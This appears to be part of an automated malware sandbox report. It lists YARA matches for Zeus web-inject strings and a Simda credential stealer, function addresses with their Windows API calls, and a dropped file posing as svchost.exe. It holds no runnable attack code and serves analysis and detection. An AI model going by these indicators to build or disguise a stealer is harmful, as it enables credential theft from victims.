    Source: 00000015.00000002.2115293020.0000000000E80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2193900284.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000023.00000002.2179197336.00000000026D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.1673194303.0000000000884000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2206176282.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2196280785.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0000001D.00000002.2151087320.0000000002FC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000019.00000002.2131001825.00000000024E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2152384775.000000000F2C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0000001B.00000002.2139139931.0000000001410000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000021.00000002.2179119548.00000000026B0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2195861902.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2202558433.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000001.00000003.2197820580.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 00000027.00000002.2195203697.00000000026E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: 1fWgBXPgiT.exe PID: 7416, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: svchost.exe PID: 7436, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6644, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6400, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 7160, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 7104, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 7036, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6976, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6896, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6820, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6720, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6700, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6604, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6544, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6420, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 6268, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 4268, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: Process Memory Space: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe PID: 7164, type: MEMORYSTRMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Yara detected Simda Stealer
    Source: Yara matchFile source: 0.2.1fWgBXPgiT.exe.400000.2.unpack, type: UNPACKEDPE
    Source: Yara matchFile source: 0.2.1fWgBXPgiT.exe.400000.2.raw.unpack, type: UNPACKEDPE
    Source: Yara matchFile source: 0.3.1fWgBXPgiT.exe.637978.0.raw.unpack, type: UNPACKEDPE
    Source: Yara matchFile source: 1.3.svchost.exe.884000.4.raw.unpack, type: UNPACKEDPE
    Source: Yara matchFile source: 1.3.svchost.exe.884000.1.raw.unpack, type: UNPACKEDPE
    Source: Yara matchFile source: 00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
    Source: Yara matchFile source: 00000001.00000003.1673282588.0000000000884000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
    Source: Yara matchFile source: 00000001.00000003.1673194303.0000000000884000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
    Source: Yara matchFile source: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
    Source: Yara matchFile source: Process Memory Space: 1fWgBXPgiT.exe PID: 7416, type: MEMORYSTR
    Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 7436, type: MEMORYSTR
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026F3A20 LdrInitializeThunk,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,5_2_026F3A20
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B13A20 LdrInitializeThunk,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,6_2_00B13A20
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026A3A20 LdrInitializeThunk,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,9_2_026A3A20
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022C3A20 LdrInitializeThunk,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,13_2_022C3A20
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010A3A20 LdrInitializeThunk,VirtualQuery,VirtualAlloc,SymSetOptions,GetCurrentProcess,GetCurrentProcess,SymInitialize,GetCurrentProcess,GetLastError,_snprintf,GetCurrentThread,ZwQueryInformationThread,GetCurrentProcess,GetCurrentProcess,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,GetDateFormatA,GetTimeFormatA,_snprintf,PathAddBackslashA,PathAddBackslashA,PathAddBackslashA,VirtualFree,16_2_010A3A20
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004021D0: CreateFileA,DeviceIoControl,CloseHandle,0_2_004021D0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004018E0 _snprintf,memset,MultiByteToWideChar,GetProcessHeap,GetProcessHeap,HeapAlloc,memset,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetProcessHeap,HeapAlloc,memset,MultiByteToWideChar,MultiByteToWideChar,GetProcessHeap,HeapAlloc,memset,MultiByteToWideChar,GetProcessHeap,CreateProcessWithLogonW,GetProcessHeap,HeapValidate,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,0_2_004018E0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile created: C:\Windows\apppatch\svchost.exeJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile created: C:\Windows\apppatch\svchost.exe\:Zone.Identifier:$DATAJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0043C0D00_2_0043C0D0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004460F00_2_004460F0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004408800_2_00440880
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0044A8A00_2_0044A8A0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004239700_2_00423970
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00445A200_2_00445A20
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0043CA300_2_0043CA30
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004423400_2_00442340
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0042EB800_2_0042EB80
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00443C000_2_00443C00
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0043CC100_2_0043CC10
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0043AC300_2_0043AC30
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0040ED300_2_0040ED30
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0043A6500_2_0043A650
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004356D00_2_004356D0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004416D00_2_004416D0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_0040EF500_2_0040EF50
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004467C00_2_004467C0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004147E00_2_004147E0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004447900_2_00444790
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00408FA00_2_00408FA0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00442FA00_2_00442FA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027242505_2_02724250
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027382135_2_02738213
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0271F2D05_2_0271F2D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0272B2D05_2_0272B2D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026F8B505_2_026F8B50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026FE3E05_2_026FE3E0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027303C05_2_027303C0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026F2BA05_2_026F2BA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0272CBA05_2_0272CBA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0272E3905_2_0272E390
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027248305_2_02724830
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027268105_2_02726810
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0272D8005_2_0272D800
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026F89305_2_026F8930
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027266305_2_02726630
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0272F6205_2_0272F620
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0272BF405_2_0272BF40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027187805_2_02718780
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027317805_2_02731780
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0272FCF05_2_0272FCF0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02725CD05_2_02725CD0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_027344A05_2_027344A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0272A4805_2_0272A480
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_0270D5705_2_0270D570
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C470D05_2_00C470D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C510F05_2_00C510F0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C4B8805_2_00C4B880
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C558A05_2_00C558A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C2E9705_2_00C2E970
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C50A205_2_00C50A20
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C47A305_2_00C47A30
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C39B805_2_00C39B80
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C4D3405_2_00C4D340
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C4EC005_2_00C4EC00
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C47C105_2_00C47C10
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C45C305_2_00C45C30
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C19D305_2_00C19D30
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C406D05_2_00C406D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C4C6D05_2_00C4C6D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C52EDD5_2_00C52EDD
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C456505_2_00C45650
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C596135_2_00C59613
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C517C05_2_00C517C0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C1F7E05_2_00C1F7E0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C4F7905_2_00C4F790
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C13FA05_2_00C13FA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C4DFA05_2_00C4DFA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_00C19F505_2_00C19F50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B448306_2_00B44830
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B468106_2_00B46810
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B4D8006_2_00B4D800
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B189306_2_00B18930
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B3F2D06_2_00B3F2D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B4B2D06_2_00B4B2D0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B582136_2_00B58213
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B442506_2_00B44250
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B12BA06_2_00B12BA0
